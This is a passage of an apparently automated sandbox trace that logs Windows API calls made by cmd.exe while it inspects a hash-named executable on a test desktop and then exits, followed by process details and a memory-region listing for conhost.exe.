[0087.009] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1bc) returned 0x600af8
[0087.009] GetProcessHeap () returned 0x600000
[0087.009] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x600af8, Size=0xe4) returned 0x600af8
[0087.009] GetProcessHeap () returned 0x600000
[0087.009] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x600af8) returned 0xe4
[0087.009] GetProcessHeap () returned 0x600000
[0087.009] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xce) returned 0x600be8
[0087.009] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1af728 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d
[0087.009] GetProcessHeap () returned 0x600000
[0087.009] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x38) returned 0x6010a0
[0087.009] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1ae798 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d
[0087.009] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1ae9cc, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x1ae9d0, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1ae9cc*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1
[0087.010] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8
[0087.010] GetProcessHeap () returned 0x600000
[0087.010] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2c) returned 0x600cc0
[0087.010] GetProcessHeap () returned 0x600000
[0087.010] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x258) returned 0x608290
[0087.010] _wcsicmp (_String1="05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", _String2=".") returned 2
[0087.010] _wcsicmp (_String1="05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", _String2="..") returned 2
[0087.010] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")) returned 0x20
[0087.011] GetProcessHeap () returned 0x600000
[0087.011] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x210) returned 0x6084f0
[0087.011] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x6084f8 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d
[0087.011] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", nBufferLength=0x104, lpBuffer=0x1aedf8, lpFilePart=0x1aedcc | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", lpFilePart=0x1aedcc*="05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe") returned 0x62
[0087.011] SetErrorMode (uMode=0x0) returned 0x1
[0087.011] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop")) returned 0x11
[0087.011] GetProcessHeap () returned 0x600000
[0087.011] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x258) returned 0x608708
[0087.011] _wcsicmp (_String1="05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", _String2=".") returned 2
[0087.011] _wcsicmp (_String1="05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", _String2="..") returned 2
[0087.011] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")) returned 0x20
[0087.011] GetProcessHeap () returned 0x600000
[0087.012] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x92) returned 0x608968
[0087.012] GetProcessHeap () returned 0x600000
[0087.012] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x44) returned 0x600cf8
[0087.012] GetProcessHeap () returned 0x600000
[0087.012] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x44) returned 0x608a08
[0087.012] GetProcessHeap () returned 0x600000
[0087.012] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x808) returned 0x60a250
[0087.012] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe"), fInfoLevelId=0x0, lpFindFileData=0x60a25c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x60a25c) returned 0x608a58
[0087.012] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0
[0087.012] NtOpenFile (in: FileHandle=0x1aeccc, DesiredAccess=0x10000, ObjectAttributes=0x1aec94*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x1aecbc, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x1aeccc*=0xa4, IoStatusBlock=0x1aecbc*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0
[0087.013] RtlReleaseRelativeName () returned 0x1aecac
[0087.013] RtlFreeAnsiString (AnsiString="\\")
[0087.013] NtQueryVolumeInformationFile (in: FileHandle=0xa4, IoStatusBlock=0x1aebf8, FsInformation=0x1aec00, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x1aebf8, FsInformation=0x1aec00) returned 0x0
[0087.013] CloseHandle (hObject=0xa4) returned 1
[0087.052] FindNextFileW (in: hFindFile=0x608a58, lpFindFileData=0x60a25c | out: lpFindFileData=0x60a25c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a7d100, ftCreationTime.dwHighDateTime=0x1d96e12, ftLastAccessTime.dwLowDateTime=0x58a7d100, ftLastAccessTime.dwHighDateTime=0x1d96e12, ftLastWriteTime.dwLowDateTime=0x56457700, ftLastWriteTime.dwHighDateTime=0x1d96e12, nFileSizeHigh=0x0, nFileSizeLow=0x52400, dwReserved0=0x0, dwReserved1=0x0, cFileName="05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", cAlternateFileName="05BF27~1.EXE")) returned 0
[0087.053] GetLastError () returned 0x12
[0087.053] FindClose (in: hFindFile=0x608a58 | out: hFindFile=0x608a58) returned 1
[0087.053] GetProcessHeap () returned 0x600000
[0087.053] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x60a250) returned 1
[0087.053] GetProcessHeap () returned 0x600000
[0087.053] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x608a08) returned 1
[0087.053] GetProcessHeap () returned 0x600000
[0087.053] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x608968) returned 1
[0087.054] GetProcessHeap () returned 0x600000
[0087.054] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x600cf8) returned 1
[0087.054] GetProcessHeap () returned 0x600000
[0087.054] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x608708) returned 1
[0087.054] GetProcessHeap () returned 0x600000
[0087.054] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x6084f0) returned 1
[0087.054] GetProcessHeap () returned 0x600000
[0087.054] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x608290) returned 1
[0087.054] GetProcessHeap () returned 0x600000
[0087.054] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x600cc0) returned 1
[0087.054] GetProcessHeap () returned 0x600000
[0087.055] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x6010a0) returned 1
[0087.055] GetProcessHeap () returned 0x600000
[0087.055] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x600be8) returned 1
[0087.055] GetProcessHeap () returned 0x600000
[0087.055] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x600af8) returned 1
[0087.055] GetConsoleTitleW (in: lpConsoleTitle=0x1af980, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0087.164] _wcsicmp (_String1="exit", _String2="DIR") returned 1
[0087.164] _wcsicmp (_String1="exit", _String2="ERASE") returned 6
[0087.164] _wcsicmp (_String1="exit", _String2="DEL") returned 1
[0087.164] _wcsicmp (_String1="exit", _String2="TYPE") returned -15
[0087.164] _wcsicmp (_String1="exit", _String2="COPY") returned 2
[0087.164] _wcsicmp (_String1="exit", _String2="CD") returned 2
[0087.164] _wcsicmp (_String1="exit", _String2="CHDIR") returned 2
[0087.164] _wcsicmp (_String1="exit", _String2="RENAME") returned -13
[0087.164] _wcsicmp (_String1="exit", _String2="REN") returned -13
[0087.164] _wcsicmp (_String1="exit", _String2="ECHO") returned 21
[0087.164] _wcsicmp (_String1="exit", _String2="SET") returned -14
[0087.165] _wcsicmp (_String1="exit", _String2="PAUSE") returned -11
[0087.165] _wcsicmp (_String1="exit", _String2="DATE") returned 1
[0087.165] _wcsicmp (_String1="exit", _String2="TIME") returned -15
[0087.165] _wcsicmp (_String1="exit", _String2="PROMPT") returned -11
[0087.165] _wcsicmp (_String1="exit", _String2="MD") returned -8
[0087.165] _wcsicmp (_String1="exit", _String2="MKDIR") returned -8
[0087.165] _wcsicmp (_String1="exit", _String2="RD") returned -13
[0087.165] _wcsicmp (_String1="exit", _String2="RMDIR") returned -13
[0087.165] _wcsicmp (_String1="exit", _String2="PATH") returned -11
[0087.165] _wcsicmp (_String1="exit", _String2="GOTO") returned -2
[0087.165] _wcsicmp (_String1="exit", _String2="SHIFT") returned -14
[0087.165] _wcsicmp (_String1="exit", _String2="CLS") returned 2
[0087.165] _wcsicmp (_String1="exit", _String2="CALL") returned 2
[0087.165] _wcsicmp (_String1="exit", _String2="VERIFY") returned -17
[0087.165] _wcsicmp (_String1="exit", _String2="VER") returned -17
[0087.165] _wcsicmp (_String1="exit", _String2="VOL") returned -17
[0087.165] _wcsicmp (_String1="exit", _String2="EXIT") returned 0
[0087.165] GetProcessHeap () returned 0x600000
[0087.165] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xc) returned 0x6096d0
[0087.165] GetProcessHeap () returned 0x600000
[0087.165] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x12) returned 0x6077e0
[0087.165] exit (_Code=0)
Thread:
id = 141
os_tid = 0xcdc
Process:
id = "8"
image_name = "conhost.exe"
filename = "c:\\windows\\system32\\conhost.exe"
page_root = "0x504a7000"
os_pid = "0x13e8"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "7"
os_parent_pid = "0x13e0"
cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
cur_dir = "C:\\Windows"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1237
start_va = 0x3a000000
end_va = 0x3a1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000003a000000"
filename = ""
Region:
id = 1238
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1239
start_va = 0x26f9f90000
end_va = 0x26f9fcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000026f9f90000"
filename = ""
Region:
id = 1240
start_va = 0x26fa000000
end_va = 0x26fa1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000026fa000000"
filename = ""
Region:
id = 1241
start_va = 0x1cff6c70000
end_va = 0x1cff6c8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6c70000"
filename = ""
Region:
id = 1242
start_va = 0x1cff6c90000
end_va = 0x1cff6ca4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff6c90000"
filename = ""
Region:
id = 1243
start_va = 0x7df5ffc60000
end_va = 0x7ff5ffc5ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ffc60000"
filename = ""
Region:
id = 1244
start_va = 0x7ff77fec0000
end_va = 0x7ff77fee2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff77fec0000"
filename = ""
Region:
id = 1245
start_va = 0x7ff780d60000
end_va = 0x7ff780d70fff
monitored = 0
entry_point = 0x7ff780d616b0
region_type = mapped_file
name = "conhost.exe"
filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")
Region:
id = 1246
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1269
start_va = 0x1cff6cb0000
end_va = 0x1cff6f7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6cb0000"
filename = ""
Region:
id = 1270
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1271
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1272
start_va = 0x1cff6c70000
end_va = 0x1cff6c7ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff6c70000"
filename = ""
Region:
id = 1273
start_va = 0x7ff77fdc0000
end_va = 0x7ff77febffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff77fdc0000"
filename = ""
Region:
id = 1274
start_va = 0x1cff6cb0000
end_va = 0x1cff6d6dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1275
start_va = 0x1cff6e80000
end_va = 0x1cff6f7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6e80000"
filename = ""
Region:
id = 1276
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1277
start_va = 0x26fa200000
end_va = 0x26fa23ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000026fa200000"
filename = ""
Region:
id = 1278
start_va = 0x1cff6d70000
end_va = 0x1cff6d9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6d70000"
filename = ""
Region:
id = 1279
start_va = 0x1cff6c80000
end_va = 0x1cff6c86fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6c80000"
filename = ""
Region:
id = 1323
start_va = 0x7ffc66710000
end_va = 0x7ffc66768fff
monitored = 0
entry_point = 0x7ffc6671fbf0
region_type = mapped_file
name = "conhostv2.dll"
filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll")
Region:
id = 1324
start_va = 0x1cff6d70000
end_va = 0x1cff6d70fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff6d70000"
filename = ""
Region:
id = 1325
start_va = 0x1cff6d90000
end_va = 0x1cff6d9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6d90000"
filename = ""
Region:
id = 1326
start_va = 0x7ffc6f570000
end_va = 0x7ffc6f7ecfff
monitored = 0
entry_point = 0x7ffc6f644970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 1327
start_va = 0x7ffc6f3b0000
end_va = 0x7ffc6f4cbfff
monitored = 0
entry_point = 0x7ffc6f3f02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1328
start_va = 0x7ffc6e7c0000
end_va = 0x7ffc6e829fff
monitored = 0
entry_point = 0x7ffc6e7f6d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 1329
start_va = 0x7ffc6f240000
end_va = 0x7ffc6f395fff
monitored = 0
entry_point = 0x7ffc6f24a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1330
start_va = 0x7ffc6fda0000
end_va = 0x7ffc6ff25fff
monitored = 0
entry_point = 0x7ffc6fdeffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1331
start_va = 0x1cff6d80000
end_va = 0x1cff6d86fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6d80000"
filename = ""
Region:
id = 1332
start_va = 0x7ffc71710000
end_va = 0x7ffc71852fff
monitored = 0
entry_point = 0x7ffc71738210
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 1333
start_va = 0x7ffc71860000
end_va = 0x7ffc718bafff
monitored = 0
entry_point = 0x7ffc718738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1334
start_va = 0x7ffc6fc20000
end_va = 0x7ffc6fc5afff
monitored = 0
entry_point = 0x7ffc6fc212f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1335
start_va = 0x7ffc6f0a0000
end_va = 0x7ffc6f160fff
monitored = 0
entry_point = 0x7ffc6f0c0da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 1336
start_va = 0x7ffc6c840000
end_va = 0x7ffc6c9c5fff
monitored = 0
entry_point = 0x7ffc6c88d700
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 1468
start_va = 0x1cff6da0000
end_va = 0x1cff6da0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6da0000"
filename = ""
Region:
id = 1469
start_va = 0x1cff6db0000
end_va = 0x1cff6db0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff6db0000"
filename = ""
Region:
id = 1470
start_va = 0x1cff6f80000
end_va = 0x1cff7107fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff6f80000"
filename = ""
Region:
id = 1471
start_va = 0x1cff7110000
end_va = 0x1cff7290fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff7110000"
filename = ""
Region:
id = 1472
start_va = 0x1cff72a0000
end_va = 0x1cff869ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff72a0000"
filename = ""
Region:
id = 1473
start_va = 0x1cff86a0000
end_va = 0x1cff882ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff86a0000"
filename = ""
Region:
id = 1517
start_va = 0x26fa240000
end_va = 0x26fa27ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000026fa240000"
filename = ""
Region:
id = 1518
start_va = 0x7ffc701b0000
end_va = 0x7ffc7170efff
monitored = 0
entry_point = 0x7ffc703111f0
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 1519
start_va = 0x7ffc6ee80000
end_va = 0x7ffc6eec2fff
monitored = 0
entry_point = 0x7ffc6ee94b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 1520
start_va = 0x7ffc6e830000
end_va = 0x7ffc6ee73fff
monitored = 0
entry_point = 0x7ffc6e9f64b0
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")
Region:
id = 1521
start_va = 0x7ffc71ae0000
end_va = 0x7ffc71b86fff
monitored = 0
entry_point = 0x7ffc71af58d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1522
start_va = 0x7ffc71a80000
end_va = 0x7ffc71ad1fff
monitored = 0
entry_point = 0x7ffc71a8f530
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1523
start_va = 0x7ffc6e330000
end_va = 0x7ffc6e33efff
monitored = 0
entry_point = 0x7ffc6e333210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 1524
start_va = 0x7ffc6e630000
end_va = 0x7ffc6e6e4fff
monitored = 0
entry_point = 0x7ffc6e6722e0
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")
Region:
id = 1525
start_va = 0x7ffc6e2e0000
end_va = 0x7ffc6e32afff
monitored = 0
entry_point = 0x7ffc6e2e35f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 1526
start_va = 0x7ffc6e2c0000
end_va = 0x7ffc6e2d3fff
monitored = 0
entry_point = 0x7ffc6e2c52e0
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 1544
start_va = 0x7ffc6cc40000
end_va = 0x7ffc6ccd5fff
monitored = 0
entry_point = 0x7ffc6cc65570
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 1545
start_va = 0x1cff86a0000
end_va = 0x1cff87fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff86a0000"
filename = ""
Region:
id = 1546
start_va = 0x1cff8820000
end_va = 0x1cff882ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff8820000"
filename = ""
Region:
id = 1548
start_va = 0x1cff8830000
end_va = 0x1cff8b66fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1549
start_va = 0x1cff6dc0000
end_va = 0x1cff6e19fff
monitored = 1
entry_point = 0x1cff6dd53f0
region_type = mapped_file
name = "cmd.exe"
filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")
Region:
id = 1550
start_va = 0x1cff6e20000
end_va = 0x1cff6e40fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "cmd.exe.mui"
filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui")
Region:
id = 1551
start_va = 0x1cff8b70000
end_va = 0x1cff8d8efff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff8b70000"
filename = ""
Region:
id = 1552
start_va = 0x1cff8d90000
end_va = 0x1cff8fa6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff8d90000"
filename = ""
Region:
id = 1553
start_va = 0x1cff86a0000
end_va = 0x1cff87adfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff86a0000"
filename = ""
Region:
id = 1554
start_va = 0x1cff87f0000
end_va = 0x1cff87fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff87f0000"
filename = ""
Region:
id = 1555
start_va = 0x1cff8fb0000
end_va = 0x1cff91c5fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff8fb0000"
filename = ""
Region:
id = 1556
start_va = 0x1cff91d0000
end_va = 0x1cff92e4fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff91d0000"
filename = ""
Region:
id = 1557
start_va = 0x26fa280000
end_va = 0x26fa2bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000026fa280000"
filename = ""
Region:
id = 1558
start_va = 0x7ffc6ffe0000
end_va = 0x7ffc70139fff
monitored = 0
entry_point = 0x7ffc700238e0
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 1559
start_va = 0x1cff6dc0000
end_va = 0x1cff6dc0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff6dc0000"
filename = ""
Region:
id = 1560
start_va = 0x1cff6dc0000
end_va = 0x1cff6e7bfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff6dc0000"
filename = ""
Region:
id = 1561
start_va = 0x1cff87b0000
end_va = 0x1cff87b3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff87b0000"
filename = ""
Region:
id = 1562
start_va = 0x7ffc6c340000
end_va = 0x7ffc6c361fff
monitored = 0
entry_point = 0x7ffc6c341a40
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")
Region:
id = 1563
start_va = 0x7ffc6ca30000
end_va = 0x7ffc6ca42fff
monitored = 0
entry_point = 0x7ffc6ca32760
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 1564
start_va = 0x7ffc6e0d0000
end_va = 0x7ffc6e125fff
monitored = 0
entry_point = 0x7ffc6e0e0bf0
region_type = mapped_file
name = "winsta.dll"
filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")
Region:
id = 1565
start_va = 0x1cff87c0000
end_va = 0x1cff87c6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001cff87c0000"
filename = ""
Region:
id = 1566
start_va = 0x1cff87d0000
end_va = 0x1cff87d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff87d0000"
filename = ""
Region:
id = 1567
start_va = 0x1cff87e0000
end_va = 0x1cff87e0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff87e0000"
filename = ""
Region:
id = 1568
start_va = 0x1cff8800000
end_va = 0x1cff8804fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "user32.dll.mui"
